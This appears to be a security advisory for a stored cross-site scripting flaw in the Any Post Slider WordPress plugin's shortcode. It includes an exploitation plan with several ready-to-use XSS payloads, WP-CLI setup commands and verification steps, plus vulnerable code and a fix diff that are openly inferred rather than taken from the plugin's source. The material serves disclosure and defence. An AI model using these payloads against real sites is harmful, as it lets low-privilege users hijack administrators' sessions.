Any Post Slider <= 1.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'post_type' Shortcode Attribute
Description
The Any Post Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's aps_slider shortcode in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping on the 'post_type' attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.4This research plan outlines the technical steps to exploit **CVE-2026-1899**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Any Post Slider** plugin (versions <= 1.0.4). --- ### 1. Vulnerability Summary The **Any Post Slider** plugin fails to properly sanitize and escape the `post_typ…
Show full research plan
This research plan outlines the technical steps to exploit CVE-2026-1899, a Stored Cross-Site Scripting (XSS) vulnerability in the Any Post Slider plugin (versions <= 1.0.4).
1. Vulnerability Summary
The Any Post Slider plugin fails to properly sanitize and escape the post_type attribute within its [aps_slider] shortcode. While post_type is intended to define the source of posts for the slider, an attacker with Contributor-level permissions or higher can inject malicious HTML or JavaScript into this attribute. Because the plugin renders this attribute directly into the page output without using WordPress escaping functions like esc_attr() or esc_html(), the script executes in the context of any user viewing the page.
2. Attack Vector Analysis
- Shortcode:
[aps_slider] - Vulnerable Attribute:
post_type - Authentication Requirement: Contributor (can create posts and use shortcodes) or higher.
- Injection Point: The content of a WordPress post, page, or any area where shortcodes are processed.
- Sink: The HTML output rendered by the shortcode callback function (likely in an HTML attribute or wrapper div).
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode in the main plugin file or an inclusion file (e.g.,
any-post-slider.php) usingadd_shortcode( 'aps_slider', 'callback_function_name' ). - Attribute Parsing: Inside the callback function, the plugin uses
shortcode_atts()to extract user-provided attributes:$atts = shortcode_atts( array( 'post_type' => 'post', // other attributes... ), $atts ); - Vulnerable Sink: The variable
$atts['post_type']is concatenated into an HTML string for the frontend. For example:$output .= '<div class="aps-slider-container" data-post-type="' . $atts['post_type'] . '">'; // OR $output .= '<div class="aps-slider-' . $atts['post_type'] . '">'; - Lack of Escaping: The
post_typevalue is returned as part of the shortcode output without being wrapped inesc_attr()orwp_kses().
4. Nonce Acquisition Strategy
This vulnerability is exploited by saving a WordPress post containing a shortcode. While saving a post via the Gutenberg editor or Classic editor requires a nonce (_wpnonce), the vulnerability itself is in the rendering of the shortcode.
For the purpose of a PoC in an automated environment:
- Direct WP-CLI Injection: Use
wp post createas an admin or contributor to bypass the need for an HTTP-level nonce during the setup phase. - UI-Based Nonce (If needed for HTTP-only PoC):
- The execution agent will navigate to
wp-admin/post-new.php. - Use
browser_evalto extract the_wpnoncefrom the form:browser_eval("document.querySelector('#_wpnonce')?.value"). - The specific action string for post creation nonces is typically
update-post_[ID].
- The execution agent will navigate to
5. Exploitation Strategy
The goal is to demonstrate that a Contributor can execute arbitrary JavaScript that triggers when an Admin views the post.
Step-by-Step Plan:
- Authenticate as Contributor: Login via the
http_requesttool orbrowser_navigate. - Create Malicious Content: Create a new post containing the payload.
- Payload A (Attribute Breakout):
[aps_slider post_type='"><script>alert(document.domain)</script>'] - Payload B (Event Handler):
[aps_slider post_type='x" onmouseover="alert(1)" style="width:100px;height:100px;background:red;"']
- Payload A (Attribute Breakout):
- Trigger Execution: As an Admin user, navigate to the permalink of the newly created post.
- Confirm XSS: Use
browser_evalto check for the existence of the injected script or a triggered alert.
6. Test Data Setup
- Plugin Installation: Ensure
any-post-sliderversion 1.0.4 is installed and active. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Post Creation (via CLI to simplify setup):
wp post create --post_type=post --post_title="Slider Test" --post_content='[aps_slider post_type="\"><script>window.xss_vulnerable = true;</script>"]' --post_status=publish --post_author=$(wp user get attacker --field=ID)
7. Expected Results
- When the post is rendered, the HTML source will contain the unescaped payload.
- Vulnerable HTML snippet (Example):
<div class="aps-slider-wrapper" data-post-type=""><script>window.xss_vulnerable = true;</script>"> - In the browser, executing
browser_eval("window.xss_vulnerable")should returntrue.
8. Verification Steps
- Check Output:
curl -s http://localhost:8080/?p=[POST_ID] | grep "window.xss_vulnerable" - Inspect DOM: Use Playwright to confirm the script tag was actually parsed and executed by the browser engine.
9. Alternative Approaches
If the post_type attribute is used within a WP_Query but not directly echoed, it might be reflected in a "No posts found" message or a slider initialization script.
- Alternative Payload (Script injection into JS variable):
If the plugin useswp_localize_scriptto pass thepost_typeto a JS file:[aps_slider post_type='-post-type");alert(1);("'] - Alternative Sink (CSS/Class injection):
If used in a class name:[aps_slider post_type='myclass"><img src=x onerror=alert(1)>']
If simple attribute breakout fails, try encoding variants (e.g., HTML entities) to see if partial filtering is in place. However, the CVE description indicates "insufficient input sanitization and output escaping," suggesting a direct echo of the attribute.
Summary
The Any Post Slider plugin for WordPress fails to sanitize and escape the 'post_type' attribute within its '[aps_slider]' shortcode. This allow authenticated users with Contributor-level permissions or higher to inject malicious JavaScript into the attribute, which executes in the context of any user viewing the page.
Vulnerable Code
/* Inferred from research plan based on standard WordPress shortcode implementation */ // Likely within any-post-slider.php or a similar shortcode handler file $atts = shortcode_atts( array( 'post_type' => 'post', // other attributes... ), $atts ); // Vulnerable sink: attribute is concatenated into HTML without escaping $output .= '<div class="aps-slider-container" data-post-type="' . $atts['post_type'] . '">';
Security Fix
@@ -20,1 +20,1 @@ - $output .= '<div class="aps-slider-container" data-post-type="' . $atts['post_type'] . '">'; + $output .= '<div class="aps-slider-container" data-post-type="' . esc_attr($atts['post_type']) . '">';
Exploit Outline
The exploit targets the shortcode processing logic of the plugin. An attacker requires Contributor-level authentication to create or edit posts. The attacker creates a new WordPress post and includes the following shortcode payload: [aps_slider post_type='"><script>alert(document.domain)</script>']. When the post is saved and then viewed by any user (such as an Administrator), the plugin renders the slider. Because the 'post_type' attribute is not escaped using functions like esc_attr(), the double-quote in the payload breaks out of the HTML attribute, allowing the script tag to be parsed and executed by the victim's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.